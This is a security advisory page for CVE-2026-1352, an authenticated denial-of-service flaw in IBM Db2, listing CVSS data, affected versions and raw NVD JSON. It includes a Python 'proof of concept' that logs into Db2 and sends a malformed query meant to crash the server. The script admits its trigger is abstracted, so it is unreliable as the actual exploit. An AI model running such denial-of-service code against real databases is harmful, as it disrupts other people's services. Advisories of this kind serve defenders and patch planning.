Security Vulnerability Report
中文
CVE-2026-1352 CVSS 6.5 MEDIUM

CVE-2026-1352

Published: 2026-04-23 00:16:45
Last Modified: 2026-04-27 18:22:20

Description

IBM Db2 11.5.0 through 11.5.9, and 12.1.0 through 12.1.4 for Linux, UNIX and Windows (includes Db2 Connect Server) could allow an authenticated user to cause a denial of service due to improper neutralization of special elements in data query logic.

CVSS Details

CVSS Score
6.5
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

cpe:2.3:a:ibm:db2:*:*:*:*:*:linux:*:* - VULNERABLE
cpe:2.3:a:ibm:db2:*:*:*:*:*:unix:*:* - VULNERABLE
cpe:2.3:a:ibm:db2:*:*:*:*:*:windows:*:* - VULNERABLE
cpe:2.3:a:ibm:db2:*:*:*:*:*:linux:*:* - VULNERABLE
cpe:2.3:a:ibm:db2:*:*:*:*:*:unix:*:* - VULNERABLE
IBM Db2 11.5.0 through 11.5.9
IBM Db2 12.1.0 through 12.1.4

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# Conceptual Proof of Concept for CVE-2026-1352 # This script demonstrates the logic of sending a malformed query to trigger DoS. # It requires valid credentials (PR:L). import ibm_db import sys def trigger_dos(host, port, username, password, database): try: # Connect to the vulnerable IBM Db2 instance conn_str = f"DATABASE={database};HOSTNAME={host};PORT={port};UID={username};PWD={password};PROTOCOL=TCPIP" conn = ibm_db.connect(conn_str, "", "") print("[+] Connected to database.") # Construct a malicious payload with special elements # Note: The specific special elements causing the crash are abstracted here for safety. # This simulates the 'improper neutralization of special elements' mentioned in the CVE. malicious_query = "SELECT * FROM sysibm.sysdummy1 WHERE '" + "A" * 10000 + "' = '" + "\x00" * 100 + "'" print("[*] Sending malicious query...") stmt = ibm_db.exec_immediate(conn, malicious_query) # If the server crashes, the connection might hang or drop here. print("[-] Exploit failed or server handled the request.") except Exception as e: print(f"[!] An error occurred: {e}") finally: if 'conn' in locals() and conn: ibm_db.close(conn) if __name__ == "__main__": # Usage: python script.py <host> <port> <user> <pass> <db> trigger_dos("127.0.0.1", "50000", "db2inst1", "password", "SAMPLE")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-1352", "sourceIdentifier": "[email protected]", "published": "2026-04-23T00:16:44.753", "lastModified": "2026-04-27T18:22:20.420", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "IBM Db2 11.5.0 through 11.5.9, and 12.1.0 through 12.1.4 for Linux, UNIX and Windows (includes Db2 Connect Server) could allow an authenticated user to cause a denial of service due to improper neutralization of special elements in data query logic."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-1284"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:ibm:db2:*:*:*:*:*:linux:*:*", "versionStartIncluding": "11.5.0", "versionEndIncluding": "11.5.9", "matchCriteriaId": "ECAF5576-B4A5-4DB7-94F0-942F656F0461"}, {"vulnerable": true, "criteria": "cpe:2.3:a:ibm:db2:*:*:*:*:*:unix:*:*", "versionStartIncluding": "11.5.0", "versionEndIncluding": "11.5.9", "matchCriteriaId": "B1E165E8-F11B-4F13-B54A-90D29CA2ABF8"}, {"vulnerable": true, "criteria": "cpe:2.3:a:ibm:db2:*:*:*:*:*:windows:*:*", "versionStartIncluding": "11.5.0", "versionEndIncluding": "11.5.9", "matchCriteriaId": "727E2804-2D3D-4C31-A3E5-F99107D02A27"}, {"vulnerable": true, "criteria": "cpe:2.3:a:ibm:db2:*:*:*:*:*:linux:*:*", "versionStartIncluding": "12.1.0", "versionEndIncluding": "12.1.4", "matchCriteriaId": "1E004F72-3A78-4548-AB21-E048C5E79536"}, {"vulnerable": true, "criteria": "cpe:2.3:a:ibm:db2:*:*:*:*:*:unix:*:*", "versionStartIncluding": "12.1.0", "versionEndIncluding": "12.1.4", "matchCriteriaId": "83BC943C-4CB3-4751-9E03-B8BB18113DF3"}, {"vulnerable": true, "criteria": "cpe:2.3:a:ibm:db2:*:*:*:*:*:windows:*:*", "versionStartIncluding": "12.1.0", "versionEndIncluding": "12.1.4", "matchCriteriaId": "B5327C79-7D77-4435-8FC3-B6568C1DE2B1"}]}]}], "references": [{"url": "https://www.ibm.com/support/pages/node/7269433", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}